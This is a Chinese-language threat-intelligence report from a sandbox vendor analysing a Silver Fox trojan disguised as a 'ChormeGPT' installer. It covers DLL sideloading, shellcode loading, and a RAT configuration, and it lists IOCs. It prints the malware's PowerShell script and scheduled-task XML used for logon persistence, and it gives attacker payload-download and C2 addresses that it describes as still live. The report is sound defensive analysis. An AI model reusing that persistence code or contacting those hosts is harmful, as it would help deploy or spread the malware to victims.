【天穹】银狐攻击新动向:伪装为GPT安装器的隐秘木马

一、概述

近期,天穹沙箱分析人员在公网样本狩猎时发现一个高危样本,该样本将自身伪装为ChormeGPT_install.exe安装包,诱导用户点击执行,在安装过程中完成C2通信和持久化注册。对样本溯源后发现,有多个样本访问了相同的C2地址,并且都是以安装包的形式存在。根据攻击手法判断,这些样本均来源于银狐组织。由于这批样本中引入了一些与之前不同的攻击手段,下面我们将对该样本进行深度分析。

二、基本信息

  • 样本名:ChormeGPT_install.exe
  • SHA1: fbfb6f953acb8924bfacf3d6c84a4991310a9761
  • 文件类型:EXE
  • 文件大小:1.15 MB
  • PDB:C:\CodeBases\isdev\redist\Language Independent\i386\ISP\setup.pdb
  • 分析报告:天穹沙箱分析报告

三、深度分析

该样本行为较复杂,使用了多种反EDR技术,涉及多次Shellcode加载,我们先让TQGPT对样本行为做一个总结,如图1所示,下面再结合天穹沙箱报告分阶段介绍该样本的攻击实施路径。

图1 TQGPT对样本行为做总结

阶段一:下载白加黑文件

样本本体是一个名为ChormeGPT_install.exe的安装包,包含R*****k公司两个非法签名证书,如图2所示:

图2 样本签名信息

样本执行后,首先尝试从154.82.68.34下载两个高危文件GDFInstall.exeGameuxInstallHelper.dll, 如图3所示:

图3 下载可执行文件

下载流量并未使用任何加密或混淆手段,因此也被IDS流量告警,如图4所示:

图4 流量告警

验证下载文件的签名证书发现,GDFInstall.exe具有合法数字签名,而GameuxInstallHelper.dll签名非法,这是一个典型的DLL劫持,如图5所示,使用这种攻击方式可绕过部分EDR检测。在此前的分析中,我们也提到银狐组织非常喜欢使用这种攻击手法。

图5 DLL侧加载

阶段二:下载Shellcode1

下载文件成功后,样本执行GDFInstall.exe创建新进程,新进程要求用户授予管理员权限,如图6所示。软件安装利用管理员权限完成必要的文件拷贝和配置注册等是正常安装操作,但如果软件依赖的DLL遭到恶意DLL劫持,软件本身所有的管理员权限直接共享给恶意DLL,这就为DLL后续的恶意行为提供了便利,直接享有管理员权限。

图6 要求用户以管理员运行

沙箱动态行为显示,GDFInstall.exe进程利用回调函数 RegisterWithMediaCenterW 执行shellcode,如图7所示:

图7 利用RegisterWithMediaCenterW执行shellcode

静态分析结果同样显示GDFInstall.exe调用RegisterWithMediaCenterW完成注册过程,如图8所示,而接口RegisterWithMediaCenterW已被黑DLL–GameuxInstallHelper.dll–替换用以执行恶意操作。

图8 执行RegisterWithMediaCenterW

RegisterWithMediaCenterW函数逻辑如下:

---> 从当前进程PEB获取已加载的模块链表
    ---> 从模块链表中获取导出表、名称表和序号表,遍历名称表直至匹配到GetProcAddress字符串
        ---> 根据对应序号从函数地址表中取得实际函数地址并返回
图9 遍历PEB获取GetProcAddress地址

拿到GetProcAddress地址后,函数调用GetProcAddress获取LoadLibrary接口地址,接着利用这两个接口加载相关模块和获取其他API地址, 如图10所示:

图10 获取其他API地址

样本加载的模块和获取的API如下表所示:

加载模块API
user32GetLastInputInfo
MessageBoxA
ws2_32WSAStartup
socket
htons
inet_pton
closesocket
WSACleanup
recv
kernel32LoadLibraryA
GetProcAddress
VirtualAlloc
GetTickCount

获取了必要API地址后,样本使用TCP协议与134.122.134.93[:]8852建立连接,下载并执行第一段Shellcode,如图11所示:

图11 下载并执行Shellcode

根据还原后的Shellcode规则匹配结果判定,该Shellcode符合sRDI(Shellcode Reflective DLL Injection)特征, 如图12所示:

图12 匹配到sRDI特征

一些读者可能不了解sRDI技术,这里我们再次询问TQGPT获取该技术的原理、实现步骤和防御措施,如图13所示:

图13 询问TQGPT sRDI技术

天穹沙箱分析人员排查后发现,该Shellcode实际使用Github开源项目monoxgas/sRDI生成,对比sRDI源码可发现大量相同特征,如图14所示:

图14 Shellcode与sRDI项目代码对比

阶段三:注册持久化及下载Shellcode2

直接分析Shellcode比较困难,我们注意到sRDI项目在生成Shellcode时有一定的规则,从项目源码来看,生成的Shellcode由以下几部分构成:

  • Bootstrap shellcode
  • RDI shellcode
  • DLL bytes
  • User data

拼接部分的代码如下:

1
2
3
4
5
6
# Ends up looking like this in memory:
# Bootstrap shellcode
# RDI shellcode
# DLL bytes
# User data
return bootstrap + rdiShellcode + dllBytes + userData

也就是说,原始的DLL数据就在RDI Shellcode之后。利用该特点,我们拿到了原始DLL数据,如图15所示,或者也可以直接搜索MZ头获取原始DLL数据。

图15 提取原始DLL数据

原始DLL利用base64解码脚本内容,分别写入updated.ps1PolicyManagement.xml文件,并调用Powershell命令执行updated.ps1,如图16所示:

图16 执行ps1文件

释放的两个文件内容如下:

  • updated.ps1
1
2
3
4
$xmlPath = “C:\Users\win10user\AppData\Local\PolicyManagement.xml”
$taskName = “.NET Framework NGEN v4.0.30320”
$xmlContent = Get-Content -Path $xmlPath | Out-String
Register-ScheduledTask -Xml $xmlContent -TaskName $taskName
  • PolicyManagement.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?xml version=”1.0″ encoding=”UTF-16″?>
<Task version=”1.3″ xmlns=”http://schemas.microsoft.com/windows/2004/02/mit/task”>
<RegistrationInfo>
<Date>2006-11-10T14:29:55.5851926</Date>
<Author>Microsoft Corporation</Author>
<Description>更新用户的 AD RMS 权限策略模板。如果对服务器上模板分发 Web 服务的身份验证失败,此作业将提供凭据提示。</Description>
<URI>\AS AMD updata</URI>
<SecurityDescriptor>D:(A;;FA;;;BA)(A;;FA;;;SY)(A;;FRFX;;;WD)</SecurityDescriptor>
</RegistrationInfo>
<Triggers>
<LogonTrigger id=”06b3f632-87ad-4ac0-9737-48ea5ddbaf11″>
<Enabled>true</Enabled>
<Delay>PT30S</Delay>
</LogonTrigger>
</Triggers>
<Principals>
<Principal id=”AllUsers”>
<GroupId>S-1-1-0</GroupId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
<RestartOnFailure>
<Interval>PT1M</Interval>
<Count>16</Count>
</RestartOnFailure>
</Settings>
<Actions Context=”AllUsers”>
<Exec>
<Command>C:\Users\win10user\AppData\Roaming\GDFInstall.exe</Command>
</Exec>
</Actions>
</Task>

我们让TQGPT解读一下脚本的功能,如图17所示:

图17 解读脚本功能

根据TQGPT解读,ps1脚本功能是将PolicyManagement.xml注册为计划任务,计划任务内容是在用户登录时延迟30秒启动C:\Users\win10user\AppData\Roaming\GDFInstall.exe,以此实现持久化

随后,该DLL连接134.122.134.93[:]18852下载第二段Shellcode并执行,如图18所示:

图18 下载并执行第二段Shellcode

阶段四:连接C2接收指令

第二段Shellcode与第一段Shellcode相同,同样是使用sRDI生成,使用上述还原方法可得到原始DLL数据。

经过分析,此段Shellcode是银狐目前常使用的HackBrian RAT,在DllMain中可以找到全局配置信息字符串,银狐还对配置信息做了简单的字符串反转处理,如图19所示:

图19 字符串反转配置信息

解密后的配置信息如下,各个配置字段使用|分隔:

1|p1:134.122.134.93|o1:9090|t1:1|p2:134.122.134.93|o2:9091|t2:1|p3:134.122.134.93|o3:9092|t3:1|dd:1|cl:1|fz:默认|bb:1.0|bz:2024.11.28|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

我们让TQGPT推测一下各个配置字段的含义,如图20所示:

图20 推测各个配置字段含义

根据TQGPT的回答,我们知道样本配置了三个C2地址(p1、p2、p3和o1、o2、o3字段),且均设置超时时间为1s(t1、t2、t3字段):

  • 134.122.134.93:9090
  • 134.122.134.93:9091
  • 134.122.134.93:9092

其中,bz为互斥量,值为2024.11.28,说明该样本可能于2024年11月28日构建,在动态行为中也可以看到该行为,如图21所示:

图21 创建互斥量

之后,样本连接C2,并开启新线程接收指令,如图22所示:

图22 连接C2地址

总结

通过以上四阶段分析,可以看出该样本采用了模块化设计,利用远程下发DLL和在内存中加载拆解了复杂的任务执行,在分析过程中我们的确有收到RAT远程下发的DLL,如图23所示:

图23 接收到远程下发DLL

进一步分析发现,此RAT至少包含以下功能:

  • 获取用户名、计算机系统、CPU、显卡、显示器、硬盘等信息
  • 获取前台窗口名
  • 进程注入
  • 命令执行
  • 键盘记录
  • 注册表操作
  • 屏幕监控(差异屏幕)

更多功能分析不再赘述。

四、溯源拓线

以下是对样本使用的两个IP溯源的结果。

  • 154.82.68.34

查询154.82.68.34的注册信息等发现,该IP归属于中国香港,不属于任何云服务器厂商或VPS。扫描154.82.68.34的全部端口后,汇总其开放端口情况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
PORT STATE SERVICE
25/tcp filtered smtp
80/tcp open http
135/tcp filtered msrpc
136/tcp filtered profile
137/tcp filtered netbios-ns
138/tcp filtered netbios-dgm
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
3389/tcp open ms-wbt-server
4444/tcp filtered krb524
5554/tcp filtered sgi-esphttp
5985/tcp open wsman
8888/tcp open sun-answerbook
9182/tcp open unknown
16651/tcp open http
16652/tcp open http
16653/tcp open http
16654/tcp open http
16655/tcp open http
16656/tcp open http
47001/tcp open winrm
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49177/tcp open unknown
49182/tcp open unknown

其中,端口16651-16656都开放了HTTP服务,使用以下链接均可以下载GDFInstall.exeGameuxInstallHelper.dll文件,推测用作备用链接。

1
2
3
4
5
6
http[:]//154.82.68.34[:]16651/GDFInstall.exe
http[:]//154.82.68.34[:]16652/GDFInstall.exe
http[:]//154.82.68.34[:]16653/GDFInstall.exe
http[:]//154.82.68.34[:]16654/GDFInstall.exe
http[:]//154.82.68.34[:]16655/GDFInstall.exe
http[:]//154.82.68.34[:]16656/GDFInstall.exe
  • 134.122.134.93

查询134.122.134.93的注册信息等发现,该IP同样归属于中国香港,不属于任何云服务器厂商或VPS。扫描134.122.134.93的全部端口,汇总其开放端口情况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PORT STATE SERVICE
135/tcp filtered msrpc
137/tcp filtered netbios-ns
138/tcp filtered netbios-dgm
139/tcp open netbios-ssn
445/tcp filtered microsoft-ds
1737/tcp filtered ultimad
1900/tcp filtered upnp
4444/tcp filtered krb524
5554/tcp filtered sgi-esphttp
5985/tcp open wsman
7547/tcp filtered cwmp
8852/tcp open unknown
9090/tcp open zeus-admin
9091/tcp open xmltec-xmlmail
9092/tcp open XmlIpcRegSvc
18852/tcp open unknown
23389/tcp open unknown
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49676/tcp open unknown
49787/tcp open unknown

其中,端口8852和18852用于Payload下载,而9090-9092用于C2上线。

在溯源样本使用的两个IP地址时,我们发现以下样本也属于银狐组织样本,投递时间在12月5日左右,攻击方式非常相似。

1
2
5db463403df51ec6ee325d5239e608e8d5c3e4ee Fondue.EXE (SHA1)
c9ac07068c9b1f01fbcf5cfa575c4c2b0cf30733 InstallShield Setup.exe (SHA1)

此外,我们在某非法网站发现有人售卖银狐的HackBrian远控破解版,如图24、25所示,包含的截图功能和上述RAT功能非常相似。

图24 HackBrian售卖信息
图25 HackBrian功能截图

五、IOC

恶意文件(SHA1)

1
2
3
4
5
fbfb6f953acb8924bfacf3d6c84a4991310a9761 ChormeGPT_install.exe
033b61ab5c51e4e3282d956ffa20cc2c50c48ce2 GDFInstall.exe
9e7967855f3627d999cf9f1d4e424f360092cece GameuxInstallHelper.dll
1f5822fa97e11b8bef57b69f0981589bc5fdfee6 Shellcode1
b12d8396c6c8debad1e029d3631b14784f512ed7 Shellcode2

恶意链接

1
2
3
4
5
6
7
http[:]//154.82.68.34:16653/GDFInstall.exe 下载GDFInstall.exe
http[:]//154.82.68.34:16653/GameuxInstallHelper.dll 下载GameuxInstallHelper.dll
134.122.134.93[:]8852 下载Shellcode1
134.122.134.93[:]18852 下载Shellcode2
134.122.134.93[:]9090 C2地址
134.122.134.93[:]9091 C2地址
134.122.134.93[:]9092 C2地址

报告链接

特别注意

截至发稿时,以上样本C2地址仍存活,且样本未被上传到VT,请务必保持警惕。

六、技术支持与反馈

星图实验室深耕沙箱分析技术多年,致力于让沙箱更好用、更智能。做地表最强的动态分析沙箱,为每个样本分析人员提供便捷易用的分析工具,始终是我们最求的目标。各位同学在使用过程中有任何问题,欢迎联系我们。

天穹沙箱支持模拟14种CPU架构的虚拟机,环境数量50+,全面覆盖PC、服务器、智能终端、IoT设备的主流设备架构形态。在宿主机方面,除了Intel/AMD的x86架构CPU和CentOS操作系统之外,天穹沙箱支持海光、飞腾、鲲鹏等x86、ARM架构国产CPU和银河麒麟、中科方德等信创操作系统。

天穹沙箱系统以云沙箱、引擎输出、数据接口等多种形式服务于公司各个业务部门,包括天眼、终端安全、态势感知、ICG、锡安平台、安服等。